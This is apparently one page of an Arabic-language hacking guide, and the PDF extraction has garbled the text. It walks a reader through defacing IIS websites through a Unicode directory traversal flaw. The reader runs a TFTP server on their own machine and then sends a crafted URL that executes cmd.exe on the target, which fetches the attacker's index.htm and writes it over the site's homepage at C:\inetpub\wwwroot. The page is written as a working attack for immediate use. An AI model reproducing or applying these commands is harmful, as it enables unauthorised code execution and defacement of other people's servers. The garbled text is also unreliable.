Page 322 - بسم الله الرحمن الرحيم
P. 322

‫والشرط الثاني هو‬
                                                            ‫يجب أن يكون عندك برنامج التي إف تصي بي‬

                                                              ‫وهذا البرنامج تصقدر تصنزله من هذا العنوان‬
                                         ‫‪www.geocities.com/anorR1234/tftpd32.zip‬‬
                               ‫‪\:C‬وبعد ماتصنزل البرنامج وتصفك الضغط منه من الفضل إنك تصحطه داختل الـ‬
                                    ‫وتصحط أيضا البرامج أو الصفحة التي تصريد أن تصعمل لها أبلود في السي‬

                                                  ‫تصحطه في السي الى داختل جههازك مو الى دالخل الموقع‬
                                                                                       ‫وتصشغل البرنامج‬

                                         ‫‪ tftp32.exe‬وتصتركه يعمل الى أن تصنتهى من مهمتك الساسية‬
                                                                      ‫‪\:C‬أسمع كلمي وحط كل شي في‬

                                                             ‫لنك لو حطيتها بإذن ال را ح تصنجح المهمه‬
                                    ‫‪-----------------------------------------------------------------‬‬

                                                       ‫الن بدأنا في النقطة الخطرة وهي تصحميل الملفات‬
                                                                    ‫مع العلم أني اقصد بالتحميل البلود‬
                                                                                                   ‫أي‬
                                                                                        ‫أبلود = تصحميل‬
                                                                                             ‫مو تصجميل‬

                    ‫وتصحميل الملفات طريقة معقدة نسبي ًا بس أنا متفائل بالخير لني معتقد أنكم را ح تصفهمو‬
                                                                                ‫المهم نرجهع لموضوعنا‬

                                                   ‫المهم طريقة نسخ الملفات تصضاف ايض ًا الى المتصفح‬
                                                                                 ‫وتصضاف بهذه الطريقة‬
                                                                                                ‫مثال ‪:‬‬

                          ‫‪\:http://www.xxxxx.com/scripts/..ü€€€....exe?/c+dir+c‬‬
                                                                         ‫تصخيل الثغرة هذه اشتغلت معاك‬

                                ‫ويجب عليك إنك تصمسح بعض الضافات من الثغرة لكي تصضيف امر النسخ‬
‫‪c+tftp.exe+"-i"+1.1.1.1+GET+index.htm+C:\inetpub\wwwroot\index.htm/‬‬

                                                    ‫يعني الى را ح نمسحه من الثغرة بيكون هذه الضافة‬
                                                                                        ‫‪\:c+dir+c/‬‬

                                                                                    ‫عشان تصظيف بدالها‬
‫‪c+tftp.exe+"-i"+1.1.1.1+GET+index.htm+C:\inetpub\wwwroot\index.htm/‬‬

                                                          ‫ولمن نظيف امر النسخ بيطلع لنا بهذا الطريقة‬
                       ‫‪http://www.xxxxx.com/scripts/..ü€€€...xe?/c+tftp.exe+"-‬‬
                   ‫‪i"+1.1.1.1+GET+index.htm+C:\inetpub\wwwroot\index.htm‬‬

                                                                          ‫شايفين ياشباب إش الى اتصغير‬
                                                           ‫بس لز‪.‬م أيض اً إنك تصغير اللز‪.‬م في أمر النسخ‬

                                                                                                   ‫مثل‬
         ‫‪ tftp.exe‬هذا سيبه في حاله لنه اسم برنامج التي اف تصي بي الى حاطه في السي ومشغله الن‬

                                                                        ‫"‪ "i-‬هذا برضه سيبه لنه مهم‬
‫‪ 1.1.1.1‬هنا بدال الرقا‪.‬م هذا تصكتب اليبي تصبع جههازك وعشان تصتأكد من اليبي لمن تصشغب التي اف تصي بي‬

                                                     ‫را ح يطلع ايبي وهذا اليبي الى طلعلك هو الى تصكتبه‬
                                   ‫‪ GET‬هذه الضافة سيبها في حالها لنها تصعتبر شرط في نسخ المفات‬
                          ‫‪ index.htm‬هذه اسم الصفحة الى را ح تصتحمل وممكن تصغيرها عاد بكيفك انت‬
                      ‫‪ \C:\inetpub\wwwroot‬وهذا مكان تصواجهد الصفحة الرئيسة الخاصة بالموقع‬
                          ‫‪ index.htm‬هنا تصكتب إسم الصفحة او الملف التي تصريده أن يظهر في الموقع‬
                                 ‫‪\:C‬يجب التأكد من إنك حاط الصفحة المراد تصحميلها في جههازك داختل الـ‬

                                                                     ‫‪ index.htm‬ومثل اسم الصفحة‬
              ‫قبل ماتصضغط انتر عشان تصنسخ الملف تصاكد من ان الثغرة الن صارت مشابها لمثل هذه الثغرة‬

                       ‫‪http://www.xxxxx.com/scripts/..ü€€€...xe?/c+tftp.exe+"-‬‬
     ‫‪i"+212.212.212.212+GET+index.htm+C:\inetpub\wwwroot\index.htm‬‬

                                                       ‫ولو طلعت مشابها لها اضغط إنتر وتصوكل على ال‬

                                               ‫‪322‬‬
   317   318   319   320   321   322   323   324   325   326   327